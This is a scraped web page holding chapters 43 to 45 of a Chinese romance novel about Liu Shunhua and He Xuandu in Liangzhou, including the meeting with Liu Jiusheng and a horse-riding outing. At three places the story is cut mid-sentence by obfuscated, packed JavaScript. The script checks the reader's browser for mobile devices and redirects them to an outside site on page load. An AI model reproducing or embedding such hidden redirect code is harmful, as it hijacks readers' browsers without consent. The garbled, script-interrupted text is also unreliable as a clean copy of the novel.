d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015169|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 贺玄度只当她有疑虑,得意道:“你不会骑也不用怕,不是我自夸,我骑术一流,只消一日,保管教会你。” 柳舜华一笑,“好啊,这个时节,祁连山脚下的草原绿草如茵,满目苍翠,正是骑马驰骋的好时候。” 贺玄度连声道:“那就这么说定了,不准反悔。” 他一激动,便想坐起来,动作太大,扯到了伤口,疼得叫了起来。 柳舜华提醒道:“受了伤还不安稳,你小心些,不然这伤口什么时候才能好。” 贺玄度捂住后背,哼哼了几声,骂道:“都是郑列这个老匹夫,不然我也不用受这活罪。” 都尉府遭劫一事,柳舜华心中尚有许多疑问。 她总有种感觉,贺玄度对刺史府有此举动好像并没有很大的意外。 对抗刺史府贼军时,贺玄度的表现,并不像一个十足的纨绔。 还有,贺玄度似乎猜到了万都尉会回来。 她本想问一问贺玄度,可一抬头,瞧见他疼得扭曲的脸,还是止住了。 不过,贺玄度这一说,她倒是想起了另一件事。 “程三他们怎么样了?” 贺玄度抽回手,“舅舅说他们也都受了伤,被安置起来医治了。” 柳舜华想了片刻,缓缓道:“有件事,恐怕要麻烦你。” 贺玄度已经猜到了,当初程三肯奋力杀敌,定是求柳舜华事成之后免了他们的罪责,放他们离去。 他们冒充千机阁贼匪一事,贺玄度听舅舅提起过。他们本是山林中的猎户,郑列以山中有祥瑞,不宜被扰为由,将山林圈禁起来,导致他们全村断了生计。一村人辗转流落到此处,听闻有山贼洗劫过往商队,便假借贼匪之名,行打劫之事。据他们交待,他们只图财,从未伤过人性命。 起初贺玄度还对他们的话起疑,如今看来,正是他们村子所在的山林与凉州城外相通,千机阁那些人才能神不知鬼不觉地避开他们的视线。凉州城内外,皆有都尉府的眼线,千机阁能避开他们,显然是走了这条隐秘的通道。 贺玄度道:“他们这次立了功,舅舅不会再去追究的。” 柳舜华摇摇头,“不是,他们想加入万都尉的军营。” 贺玄度道:“我当是什么事,昨日舅舅还同我说起,程三此人一身蛮力,沦为贼寇着实有些可惜。既然他有心想走正途,那再好不过,改日我便同舅舅提一下。” 柳舜华轻笑道:“如此甚好,总算是对他们有个交代。” 贺玄度看柳舜华喜笑颜开,心中有些吃味。 他懒懒地换了个姿势,继续歪在窗边,漫不经心道:“柳舜华,你不会是为了这事才过来的吧?” 柳舜华向他那边探了探,“怎么会?我今日是特意来看你的。只是那场劫难中,他们到底出了力。既然他们有求,我自然希望能从中说合,也不枉他们帮咱们一场。” 贺玄度本来还有些不痛快,一听她说“咱们”,嘴角一勾,回道:“那是自然,你放心,此事若是办不成,随便打我骂我,我都认。” 柳舜华扑哧一笑,“谁要打你骂你,我……” 话音突然止住,柳舜华轻咳一声,用帕子捂住了嘴,偏头转到一边,脸颊红晕一片。 贺玄度歪头瞧过去,“你怎么样?” 柳舜华拉下帕子,嗔声道:“时候不早了,我要回去了。” 说着,起身便要走。 贺玄度拉着她飘过来的衣角,仰头看着她,“明日,你还来吗?” 他语气温软,像是冬日暖阳下慵懒趴在台阶上的猫,偶叫一声,便让人痒在心里。 柳舜华浑身一颤,木然地点了点头,“来。” 43. 第 43 章 一晃多日,贺玄度的伤口慢慢愈合。 柳舜华看他伤势稳定,过来的不似前几日那么频繁。 听周松说柳舜华的表姐要开个食铺,这些时日她都在帮着找铺子。 倒是万都尉,终于得了空过来。 万都尉坐定,朝着四周看了看,笑道:“还是你这个院子清静啊,外面那些烦扰,都被隔绝了。” 贺玄度倒了茶递过去,“看来郑列还是不肯供出彭城王,才让舅舅头疼到来这躲清闲。” 万都尉接过茶水,一饮而尽,叹口气道:“郑列咬死不认,证据又全都被毁,看来彭城王早有准备。” 贺玄度望向远处,“彭城王?还真是小看了他的实力和野心。” 万都尉深邃的目光中露出几分担忧,“彭城王此举,实在有些让人摸不着头脑。莫非,他已知晓,咱们要暗中对付他之事,所以才会指使郑刺史勾结匈奴,企图诬陷我叛国?” 贺玄度摇摇头,“若是他知晓咱们要对付他,没必要兜这么大一个圈子,还要冒这么大的风险。” 万都尉虽善战,对朝局以及彭城王本人却不甚了解。这些年,都是贺玄度同散落在各地的探子对接。 他道:“那是为何?” 贺玄度沉吟道:“彭城王此人,心思谈不上多深,却是个极功利的。他这么做,必然是对他有极大的好处。” 万都尉略一思索,“好处?如今郑刺史已经投靠于他,他是想要把我拉下马,然后换上自己人,彻底掌控凉州。” 贺玄度道:“没错,凉州连接中原与西域,与西域诸国经济往来频繁,税赋可观,马匹精兵培养得天独厚,又远离长安,若是能控制住此处,对他将大有益处。” 万都尉点头,“看来,他对那个至尊之位,是志在必得了。” 贺玄度轻嗤一声,“彭城王狼子野心,皇上岂会没有防备。这次即便咱们没有证据,可只要放出一点风声出来,皇上自会派人去详查。” 万都尉道:“我已派人将郑刺史勾结匈奴之事禀报朝廷,这两日便会有人过来,到时这一堆烂摊子,就交给他们吧。” 贺玄度冷声道:“此次失利,还丢了个郑刺史,彭城王一定会有其他举动。只要不打草惊蛇,继续盯紧他,总能抓到他的把柄,为逝去之人,讨一个公道。” 万都尉神色凝重,对着天穹一声长叹,“先太子一事,父亲临终前一直耿耿于怀。若是能寻一个真相,百年之后,我也好安心去见他老人家了。” 想到外祖,贺玄度有些哽咽,“舅舅放心,长安有我,我定会协助舅舅找到真相,还先太子一个清白。” 万都尉收回目光,许久,才又说道:“九生听说你受伤,还险些丧了命,日夜兼程从长安赶了过来。” 贺玄度一怔,原来他受伤的消息已经传回长安。 九生都得知的消息,那个人不会不知。 距他重伤到如今,已过去近十日。 十日,若他有心…… 说到底,他根本不在乎,他不需要一个一无是处的儿子,更不需要他。 他强压心中的烦闷,笑道:“九生在何处,怎么不见他来?” 万都尉道:“最近府内人多眼杂,我将他安排在了安乐巷。他昨日晚间到的,风尘仆仆的,一看便知一路上受了不少罪。这孩子,重情,随了先……” 意识到说了不该说的话,万都尉及时止住了。 贺玄度笑了笑:“九生与我情同兄弟,自然和别人不同。我已能下床走动,劳烦舅舅安排我们今晚见一面,他若见不到我,怕是难安心。” 万都尉应下,拍了拍他的肩,“好。” 说罢,见他神情恹恹,忙转移了话题,“我瞧着,最近柳小姐来得不似先前那么频繁,你们可是又拌嘴了?” 贺玄度低头一笑,“舅舅,人柳小姐是来凉州是探亲的,又不是探我的,自然不会围着我转。” 万都尉放下心来,嘱咐道:“没有拌嘴便好。我说你也主动些,抽个时间,好好带着柳小姐四处逛逛,也不枉她照看你一场。” 贺玄度垂头道:“她表姐那里有些事要忙,这几日,她怕是顾不上不上我了。” 柳舜华同样顾不上的,还有柳棠华。 自大表姐说要开铺子以来,前几日尚好,因要讨论做什么吃食,表姐变着花样,整日做一桌子的菜来让她们试味。 可这些日子,姐姐总是陪着表姐去看铺子,从街头看到巷尾。两人一连看了数日,每个铺子前都停留一段时辰,观察来来往往的人群,一坐便是半日。 柳棠华坐不住,到第二日便寻了个借口溜走。 前几日她刚跟着三表哥学会摸鱼捉野鸡,一直跃跃欲试,今日逮到机会,便一头扎进附近的林子里去。 林子不算太远,沿着一条小溪,不到半个时辰便能走到。 柳棠华取下背上的工具,设置好陷阱,在附近撒些干稻谷,一切准备就绪,得意地拍着手离开,远远地躲在一棵大树后。 等了约摸一炷香的功夫,还不见有野鸡过来。 柳棠华靠在树上,渐渐有些犯困,昏昏欲睡之际,终于听到陷阱那边有响动。 她忙直起身子,趴在树后,眼睛一动不动地盯着前方。 不一会,一只五彩的野鸡拖着长长的尾巴,晃晃悠悠地走了过来,边走边啄食。 野鸡朝着陷阱越走越近,眼看就要踩空。 “嗖”的一声,一支箭射了过去,正中野鸡腹部。 那野鸡歪了一下,倒在陷阱上,扑通一声掉了下去。 树丛晃动,有人走了出来。 那人手持弓箭,一身粗布衣衫,头发微微有些凌乱,脸色看起来也不太好,不过一双眼睛倒是炯炯有神,脚步稳健有力,正朝着陷阱处走去。 那人弯腰从陷阱中将野鸡拿出,拎着便大步流星离开。 柳棠华见他要走,忙从树后面跑出来,挡着他面前。 “你不能走,这是我的野鸡。” 那人不防林中有人,愣了片刻,低头看着眼前的小姑娘。一身青绿衣衫,梳着个双丫髻,两根红色的发带飘在鬓边,白皙莹润的圆脸上带着几分薄怒。 那人一笑,指着野鸡身上的箭羽,“姑娘,你看,这个野鸡是我猎到的。” 柳舜华望向他身后,气呼呼道:“那是我设的陷阱,你是从陷阱里拿的。” 那人脸上依旧挂着笑,耐心地解释,“它只是被我射中,不小心掉进了你的陷阱。” 柳舜华秀眉一横,“它方才是因为吃我的稻谷才停下来的,它若不停下来吃,你未必射得中。而且,它本来就是要掉下去的。” 那人一听,觉得她说得好像确有几分道理。 他看了看手中的野鸡,“实在不是有意要与姑娘相争,只是我家中弟弟近来患病,我却囊中羞涩,不能为他做什么,这才出来猎只野鸡,想为他补补身子。” 柳棠华出来一下午,有心要猎只野鸡给到柳舜华,好好炫耀一番。眼见着到手的猎物被人拿走,一时情急,言语难免有些不客气。 可眼前这人,被她几番针对,依旧从容温和,不急不躁,倒显得自己有些刁蛮了。 她面上一红,垂头道:“我姐姐近日操劳,我也想猎只野鸡,给她炖汤喝。” 那人看了看天边,“今日天色已晚,怕是再难猎到了。不过前面溪边应该有鱼,我替姑娘抓几条鱼上来换这只野鸡,不知姑娘意下如何?” 若论起来,这野鸡算是谁的真不好说,柳棠华打定主意,绝不让步,没想到这人却想出这样的办法。她歪头一想,看在他们家中有病人的份上,勉强让一让也未尝不可。 她点头,“也好,不过鱼要大,要肥。” 两人来到溪边,那人也不废话,将野鸡放下,卷起裤腿,拿着削尖的木棍便下了水。 夕阳照在水面上,波光粼粼,男人结实的小腿踏在溪水中,高举着木棍,眼神专注。 柳棠华坐在岸边,手托着腮看着眼前男人的半边侧脸。他虽然五官不甚突出,骨相却极好,鼻梁高挺,下颌锋利,自有一股说不出的气势,就像是刻意藏着利爪的豹子。 “扑通”一声响,水面激起层层水花。 男人收起木棍,趟着水走过来,将鱼取下,放在柳棠华背篓里。 “等着,我再抓条给你。” 不一会,男人果又抓了条更大更肥的来。 柳棠华看着背篓内的两条大肥鱼,惊叹不已,“你好厉害,这么会便捉了两条。” 男人垂眸一笑,摸着头道:“这有什么厉害的,不过是寻常的本领罢了。” 柳棠华却道:“我两个表哥都是捉鱼的高手,可都没你手法这么准。” 男人面上笑容愈深,“那这两条鱼,姑娘可还满意?” 柳棠华点头,“满意,我觉得这两条肥鱼比那只山鸡好多了。” 男人穿上鞋袜,“既如此,那姑娘也早些回吧。” 夕照之下,一人拎着野鸡,一人背着肥鱼,缓缓往回走。 柳棠华性子活泼,一路上喋喋不休,将她在凉州的趣事抖了个干净。 男人偶尔搭几句,大多数时候,只静静地看着她手舞足蹈,开怀大笑。 临别之际,柳棠华叫住男人,“我叫柳棠华,你叫什么?” 男人犹豫片刻,本不想回答,可一低头看到柳棠华笑盈盈的一张脸,一双亮晶晶的圆圆的眼睛,天真中带着真诚,脱口道:“刘九生。” “刘九生。”柳棠华默默重复着。 刘九生自嘲一笑,“九死一生,不是什么好名字。” 柳棠华摇头道:“怎么不是好名字,九死一生,最终不还是个生字。九死过后,便是大福。这个名字,贵气得很呢!” 刘九生被她的一番解说逗得大笑,“姑娘真是一张巧嘴。” 柳棠华歪头一笑,“我兄长常说,否极泰来,姐姐也说,日日常新。你这么厉害,将来一定会大有作为。” 刘九生自出生便漂泊无依,烂泥里讨生活,短短十七年,尝尽世间冷暖。莫说如此娇俏的贵女,便是寻常人家的女子,都未必肯多看他一眼。 他心上蓦地生出一丝柔情,温言道:“多谢姑娘吉言,天色将晚,姑娘早些回吧。” 柳棠华盯着他手里的野鸡看了会,又看了看他破烂的袖口,抬手从袖中掏出一个荷包来。 “方才看你捉鱼我就知道,没有我的诱饵,你也能猎到这只野鸡。这两条鱼,算我买的。” 刘九生一愣,并没有去接。 柳棠华看他有些犹豫,一把拉过他的衣袖,将荷包塞进他手里。 不等他拒绝,柳棠华便跳着跑开,朝着他挥手,“明日我还去猎野鸡,你若是也去,记得找我啊。” 刘九生盯着柳棠华的背影,看着她背着个小背篓,像个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15023105|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小兔子一蹦一跳,直到她身影消失,才晃过神。 他垂下头,看着手中的荷包,一枝海棠将开未开,花叶娇柔却又不乏生机。 他嘴角不觉一笑,将荷包揣进怀里,转身离去。 …… 转眼已是四月底。 这日,屋外起了风,一阵叮叮当当的惊鹊铃响过,樱桃树上一簇簇微红的小果子随风晃动,光影摇曳在石阶上。 廊下小憩的贺玄度缓缓睁开眼,盯着那些红色的果子,忍不住又想起了柳舜华。 已是黄昏,柳舜华今日大约是不会来了。 风中已有几分燥热,吹得贺玄度心烦意乱,忍不住揉着额头,愈发觉得无聊。 “又不肯好好吃药。” 娇柔的嗓音带着几分嗔怪,穿过曲折的回廊,飘了进来。 贺玄度一下坐直了身子,“柳舜华,你怎么来了?” 柳舜华瞥了一眼榻上的药,走过去摸了摸盛药的碗,“都凉了。” 贺玄度张开双臂,笑道:“你看,我都已经快好利索了,这些药这么苦,不吃也罢。” 柳舜华离得太近,他手臂又长,这个动作,几乎要将她圈进怀中。 贺玄度似乎并未觉察到不妥,双眸微微一挑,又靠近了几分,“你这个时候过来,就是监督我吃药?” 柳舜华耳尖泛红,退后几步,将药端起,抬手递给他,“少贫嘴,快些喝了。” 贺玄度看到药,一张俊脸皱成一团,还是接过,一口饮下。 柳舜华掏出来时顺路买的饴糖,剥开一颗,递到他跟前。 贺玄度用下巴示意他手中端着碗,腾不开手,“你喂我。” 他眉目舒展,嘴角带着浅笑,落日映在眼底,一瞬光华流动。 柳舜华呼吸一滞,像是被蛊惑了一般,伸手将糖往他嘴里送。 贺玄度俯身,低头将糖卷入口中,微凉的舌尖滑过柳舜华的指腹。 柳舜华浑身犹如电击,脑中一片空白,阵阵酥麻感袭遍全身。 “真甜!”贺玄度将碗放下,“你在哪买的,怎么这么甜?” 柳舜华骤然回过神,将包裹着糖的纸揉成一团,攥在掌心,强自镇定道:“路边随手买的,哪里能比得上丞相府的那些点心。” “看来还是这药太苦了,多谢你记得带糖过来。”贺玄度叹气,“周松他们都是粗人,就是比不得你细心。你不在这两日,都没人给我备些糖吃。” 柳舜华将余下的饴糖放在桌上,“是我的疏忽,这里还有,你先放着,足够你吃个三五日了。” 贺玄度笑:“我听周松说,你这些时日都在忙你表姐的事,能抽空过来看我,已是有心了。” 柳舜华听他提到表姐,便道:“我今日来,正是要说我表姐之事。” 贺玄度示意她坐下,“你慢慢说。” 柳舜华顺势坐下,抿唇道:“你还记不记得,此前,你曾让洪声送我两枚金饼。” 贺玄度想了想,点头:“哦,是有这么回事。你替我照看绿玉多日,绿玉那个性子,定是惹了不少麻烦,这都是你应得的。” “绿玉很乖的,照看起来也并没有很费神。何况,我与棠华都很喜欢它,委实谈不上辛苦。”柳舜华咳了一声,如实道:“那个金饼,原本打算留着还你的。只是,来凉州时,采买用具,一不小心买多了,便用了一枚。剩下的那枚,我又拿去帮表姐盘了间店铺。” 贺玄度听她说到金饼,料定她又要避嫌,想要将它退回,已经有几分不悦。又听到她大大方方地告知已将两枚金饼都用了,脸色顿时缓和不少。 “你今日特意过来,就是为了说这个啊。”贺玄度笑了,“柳舜华,我给出去的东西,断然没有再收回来的道理。” 柳舜华道:“话虽如此,但总归是太贵重了些。” 贺玄度漫不经心道:“两枚金饼而已,也值得你跑这一趟。” 柳舜华捏着衣角,半晌,缓缓开口,“也不全是。我今日来,一是想看看你的伤,还有便是……我想问你借些钱。表姐那边,实在是困难。你放心,等回到长安,我一定……” 贺玄度见她微低着头,一脸不安,又拼命解释的样子,不觉有些好笑。 不等她说完,他俯身凑近,贴在她耳边,低沉的嗓音带着几分慵懒,“哦,借钱啊,这有什么难的,只要你答应我一件事,想借多少都随你。” 若有若无的药香,混合着饴糖的香甜,伴着浅浅的呼吸,萦绕在耳畔。 柳舜华一怔,身子往后一缩,结结巴巴道:“你……你想做什么?” 贺玄度回身,懒懒地靠在椅背上,看着柳舜华的眼睛,笑道:“自然是陪着我去骑马了,先前说过的。怎么,柳大小姐忘了?” 柳舜华尚未回过神,喃喃道:“骑……骑马?” 贺玄度歪头笑道:“当然是骑马了,柳小姐以为是什么?” 柳舜华这才反应过来,贺玄度是有意逗她,忍不住脸颊涨红,美目一扬,瞪了他一眼。 贺玄度怕她真的生气,忙换了副脸色,认真道:“柳舜华,你有事先想到我,我很高兴。只是下次,不要再同我这么见外。能帮到你,我很乐意。” 柳舜华抬眸,对上他带着缱绻笑意的眼眸。 风乍起,繁茂的枝叶间惊雀铃声声,一下下叩在柳舜华的心上。 她想,贺玄度对她,大约是有些好感的吧。 44. 第 44 章 五月初的凉州,万物葳蕤,榴花开得正艳,一簇簇红彤彤,热情似火。 贺玄度的伤终于养好,迫不及待约了柳舜华去骑马。 柳舜华依约而至。 祁连山草场,群山青绿,霞雾缭绕,苍鹰盘桓于山间。辽阔的草原上,碧野千里,绿浪随风,一波一波涌向天际。 贺玄度牵着一匹鬃毛乌黑水滑的骏马,站在开满紫色马兰花的河岸边,已经等候多时。 他今日穿了一身朱瑾衣衫,革带束腰,姿态从容,愈发衬得人神采飞扬。 柳舜华牵着一匹马与柳棠华款款而来,贺玄度看到柳棠华的一瞬,脸上笑容顿时凝固。 怎么还带了一个跟屁虫来。 柳舜华见他扫了柳棠华一眼,笑道:“我妹妹听说要来骑马,也想一起来玩。” 贺玄度勉强挤出一个笑容,“既然来了,那就一起吧。走,我先教你。” 柳棠华却道:“等一下,还有一个人要来。” 柳舜华看着贺玄度,见他似乎有些黑脸,莫名有些心虚,“棠华她好不容易在这交到一个朋友,我就想着人多一起热闹。” 柳棠华并未留意到两人之间的小心思,只是盯着远方,拼命的挥手,“这里,这里。” 柳舜华闻声抬头,望着来人,只觉一股热血冲上脑门。 竟然是他,新帝刘九生。 她脑中一片混乱,她记得真切,上辈子棠华分明说过,他们相识于长安,怎么会在这碰到他? 贺玄度与刘九生眼神碰撞,彼此流露出不可置信。 贺玄度打量着刘九生,这人昨天分明说要出去野猎。 刘九生也看着贺玄度,这人明明说要独自外出散心。 两人眼神快速交流,试图从对方眼中确认要不要点明彼此身份。 柳棠华站到刘九生身侧,笑盈盈地向柳舜华与贺玄度介绍,“这是我新认识的朋友,叫刘九生。他射箭很准的,也会骑马。” 贺玄度摸摸鼻子,咳了一声,“那个,我们认识。” 柳棠华喜道:“你们竟然认识,这也太巧了。” 柳舜华闻言,心下愕然,贺玄度竟与刘九生认识。 刘九生附和着,“对,在长安的时候,有幸同贺公子打过几次交道。” 柳舜华望着两人,虽然他们看似疏离,但她总觉得,他们之间绝不止打过几次交道那么简单。 贺玄度对着柳舜华嬉笑道:“既然九生在,那你可以安心把你妹妹交给他了,他骑术仅次于我。” 刘九生笑道:“放心,今日我定教会柳小姐骑马。” 话音方落,柳棠华已经拉着刘九生去到一边练了起来。 柳舜华下意识地想要跟上去制止,被贺玄度一把拉住,“你跟上去做什么,是嫌我骑术不精?” 柳舜华忙摇头道:“当然不是,我只是不放心棠华。” 贺玄度眼一瞥,“她又不是三岁小孩,你看,人家那边已经学起来了,你再不抓紧,若是输给九生,我可不服气。” 柳舜华心内暗笑,他还真是,什么都要比。 贺玄度上下看了看柳舜华的白马,点头道:“你这马倒是选的不错。” 柳舜华笑道:“这是表哥的爱驹,求了他半日才答应让我骑的。” 贺玄度瞧她今日穿了一身利落轻巧的衣衫,整个人颇有些英姿飒爽的味道,宛若春日枝上的新叶,蓬勃明媚,与平日里温柔贤淑的模样截然不同。 他耐心地教她一些骑马要领后,道:“待会你上马的时候,从左侧,踩着马镫翻上去。” 怕柳舜华上不去马,需要他帮忙,贺玄度便先放手让他的马儿在一旁吃草。才丢掉缰绳,一回头,便见柳舜华翻身上马,轻巧如燕,稳稳落在马背上。 贺玄度有些诧异:“真是没想到,你身手如此敏捷。” 柳舜华垂头一笑,“你以为我当如何,笨重得马都上不去?” 贺玄度笑,“那倒没有,你身姿轻盈,我是怕你手上没有力气。不过如今瞧着,你这架势倒是不错。” 柳舜华谦虚,“又不能上阵杀敌,不过是些花架子罢了。” 贺玄度笑,“你倒也不用谦虚,女子骑马,照样可以意气风发,不输男儿。说起来,我的骑术,还是女子教的。” 柳舜华脸色微微一变,贺玄度引以为傲的骑术,是女子所教。 贺玄度没留意到柳舜华的脸色,望着苍茫的草原,感叹道:“那小姑娘当真是我见过最飒爽之人,一袭红衣,策马奔腾,呼啸而去……” 听他的语气,似乎对那女子有些念念不忘,柳舜华心里有些泛酸。 贺玄度转头,看到柳舜华脸上笑意渐消,稍一琢磨,走到她跟前,仰头笑道:“我说的是我小时候,那个小姑娘才六、七岁。当时,那小姑娘的家人就在此处牧马,如今已过了十年,那小姑娘怕是早嫁人了。” 十年前,六岁,红衣,家人在此牧马。 柳舜华记忆深处的片段再次浮现,十年前,外祖与舅舅正是在此处牧马。 六岁时,她似乎的确遇到过一位娇气的小公子。那位小公子被人带着在此骑马,他身体矮小,偏不让人抱着他上马,试了几次,都未能成功,便在一旁赌气。 她勒马停在他身旁,歪头问:“你怎么不让他们抱你上去?” 小公子抱臂哼道:“我要自己上去,别人帮忙算什么本事。” 她不解,“你来这里难道不是要骑马吗?只要能骑,怎么上去的又有什么关系?” 她摇摇头,策马从他身旁经过,去追前面花丛中的蝴蝶。蝴蝶越飞越远,她越骑越快,红艳艳的衣衫在花丛中翩然翻飞。 小公子看直了眼,跟在马后跑了许久,直到她停下。 小舜华低头,问:“你跟着我做什么?” 小公子看着她,眼里亮晶晶的,“我想让你教我骑马。” …… 小公子漆黑的眸子与眼前的贺玄度重合,落在柳舜华眼里。 内心突然涌上一股奇异的感觉,柳舜华突然笑了起来,原来她与贺玄度,早在不经意间,便已相识。 她竟也曾是贺玄度的半个师傅。 贺玄度被她笑得有些不知所措,摸着脖子,问:“你笑什么?” 柳舜华抓紧缰绳,抬眸明媚一笑,“策马奔腾,呼啸而去,是这样吗?” 言毕,她纵马疾驰而去。 风呼啸在耳边,四周弥散着马兰花的香气,久违的自由感让柳舜华浑身舒畅。 她越骑越快,脑海中纷杂的过往与戴了许久端庄贤淑的面具,被远远抛在脑后,仿佛又回到无拘无束的小时候。 风掠过她的发梢,发间红绸随风飘扬,万物一瞬失了光彩,贺玄度眼里只有那抹红。 他愣了半晌,翻身上马,朝着柳舜华追去。 柳舜华一口气跑了数里,直觉酣畅淋漓,回头瞧见越来越近的贺玄度,勒住缰绳,慢了下来,两人缓缓并肩而行。 贺玄度看着柳舜华,想起此前大言不惭地教她骑马,尴尬道:“你会骑马啊?” 柳舜华笑笑,“我什么时候说过我不会骑,是你一直觉得我不会而已。” 贺玄度略一沉吟,好像的确如此。 他见惯了她柔声细语,娇娇弱弱的样子,下意识便以为她不会骑马。 正像曾经,他也没想到,她会拿起长刀,和他并肩站在一起拼命守护都尉府。 柳舜华,似乎总是和他想象中不一样。 贺玄度看着她,调侃道:“你骑术怎么这么好,都快赶上我了。” 柳舜华娇俏一笑,仰头意味深长道:“贺小公子曾经骑马都需要人抱,如今倒是青出于蓝了?” 贺玄度一愕,呆呆地盯着她,好半晌才反应过来。 原来,小时候那个他一心思慕的小姑娘,竟是柳舜华。 怪不得他总是觉得柳舜华有几分莫名的熟悉,原来他们之间的缘分早已注定。这或许就是上苍的安排,冥冥之中让他们再次相遇。 他眼中闪过一丝难以置信的光芒,惊喜道:“你是说,小时候,那个教我骑马的小女孩是你?怎么可能,那小女孩她是凉州人。” 柳舜华解释道:“我自幼生长在此,幼年时,祖父同舅舅常在此牧马,我每次都跟着。教会你骑马后不久,我便回了长安。” 柳舜华算了算时间,贺玄度的母亲便是在那段时日病故的。她离开凉州后,贺玄度应也很快赶回了长安。 只是,一别数年,她成了他长嫂,他成了她小叔。 故人相逢不相识。 见贺玄度上下打量着她,柳舜华道:“你不信?” 贺玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15036493|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度摇头,“没有,只是,你和小时候有些都不一样。” 小时候的她,自由洒脱,无拘无束,是草原上肆意奔跑的小野驹。这些年她都经历了什么,才让她敛了性情,成了如今稳重娴雅的模样。 柳舜华歪头一笑:“怎么,你是嫌弃我现在不够好?” 她这一笑,清澈又明媚,贺玄度突然就窥见了她小时候的影子。 他摇头,抬眸看着她的眼睛,“柳舜华,你以前很好,现在也很好。无论你怎么样,都是最好的!” 柳舜华愣了一下,嗔道:“你这一病,倒学会哄人了。” 说罢,垂下头,轻抿嘴角,任由着马儿缓缓向前。 待行至山坡,碧空之下,一望无际的花海绵延千里,大朵大朵的芸薹竞相绽放,金灿灿一片,生机勃勃。 柳舜华从未见过如此大片的芸薹花,浩浩荡荡,好像没有尽头一样。忍不住翻身下马,走近花海,凑近一丛花上轻嗅。 贺玄度紧跟着下了马,站在她身后,“小心蜜蜂。” 柳舜华冷不丁吓了一跳,左右瞧了个遍,并没看到有蜜蜂,“你骗我?” 说着嗔笑一声,下意识捶向贺玄度,拳头落在贺玄度胸口,她突然反应过来,忙停下手。 贺玄度只是看着她,嬉笑道:“我是好心,提醒你注意。” 柳舜华面上发烫,不再看他。 风吹着芸薹花拂面而来,香气袭人。许久未曾如此放松,骑马又有些累,她索性席地而坐。 “这里真舒服,一坐下便不想起来了。贺玄度,你先去骑,我要在这歇息片刻。” 贺玄度没有动,反就势躺在她身侧,“正巧,我也累了,也要歇歇。” 柳舜华往旁边挪了一下,“你怎么也躺着,像什么样子?” 贺玄度驳道:“许你歇着,就不许我躺?这里是凉州,又不是长安,哪来这么多规矩?” 柳舜华本意是说他躺在她身旁,于礼不合。他不知是装不懂,还是真不懂她话里的意思。不过她也懒得纠缠,他说得对,今日来此,本就是为了放松,累了就歇,规矩什么的,也无甚要紧。 贺玄度头枕着手臂,望着天上飘过的云朵。 “柳舜华,你看,那朵云,像不像一匹马?” 柳舜华仰头,“像,你看,它还在跑。” 她正笑着,突然觉得一阵天旋地转,整个人陷进一片柔软里。 贺玄度拉着她躺了下来。 少年清冽的气息落在耳畔,一双湖水般潋滟的眼睛,直直地望着她。 柳舜华瞳孔一缩,全身僵直。四周一片沉寂,惟有她的心砰砰直跳。 贺玄度抬起手,轻轻将她的双眼闭上,“你听,风的声音。” 花枝沙沙作响,像月下泉水流淌过碎石,幽静平和。 柳舜华僵硬的身体渐渐舒缓,闭着眼感受这份难得的宁静。 不知过了多久,贺玄度手臂微酸,忍不住拿开枕着的手臂,不动声色地往柳舜华那边靠了靠。正暗暗窃喜,风吹着柳舜华的发带拂在他脸上,像是一双柔软的手缓缓滑过,轻缓又温柔。贺玄度浑身一阵酥麻,浑身像被蚂蚁爬过一样。 柳舜华尤闭着眼,脸上落满花阴,肌肤白净似玉。眼睫长长垂下,轻轻颤动。一瓣黄花落在她唇边,花粉散在她唇上,明艳艳的黄,润泽的樱粉,混合着脂粉与花香,幽幽缠缠。 贺玄度盯着她的唇,喉间干涩,浑身微微发烫。意识到发生了何事,他呼吸一滞,生怕会做出唐突之事。 还未转过脸去,柳舜华突然睁开了眼。 她没想到贺玄度离得这么近,不由睁大双眼,怔愣地看着他。 贺玄度回过神来,嘴角扯出一丝笑意,伸手将她唇边的花瓣拿开,“有花,别招来蜜蜂。” 柳舜华面上淡然应了一声,心下却怦怦不止,仓皇坐起。 贺玄度早先她一步站起,朝她伸手。 柳舜华抬眸,望向贺玄度,日光落在他身上,整个人披上一层薄光,往日的桀骜中带着一丝难以言说的温柔。 她盯着那双伸向她手,缓缓起身。 “姐姐,贺公子,你们让我们好找。”柳棠华不知从哪里冒出来。 贺玄度身子一僵,垂头叹了口气,默默缩回手。 这个小尾巴,要想办法甩掉才好。 45. 第 45 章 柳棠华不知贺玄度心中不满,满心满眼只有柳舜华。 “姐姐,你看,这鱼肥不肥?”她举着手中柳枝穿起的鱼,一脸期待。 柳舜华起身,“哪来的鱼?” 柳棠华指着远处的溪流,“河里钓的,那边鱼可多了,都很肥的。是不是,九生?” 柳舜华转头望向刘九生,见他盯着柳棠华,笑着点头。 贺玄度看刘九生笑得嘴角翘起,眉头微皱。他什么时候瞒着他,同柳家这个傻乎乎的二小 姐走这么近了? 他走到刘九生身边,阴阳怪气道:“呦,你这么会捉鱼,怎么从没见给我捉过?” 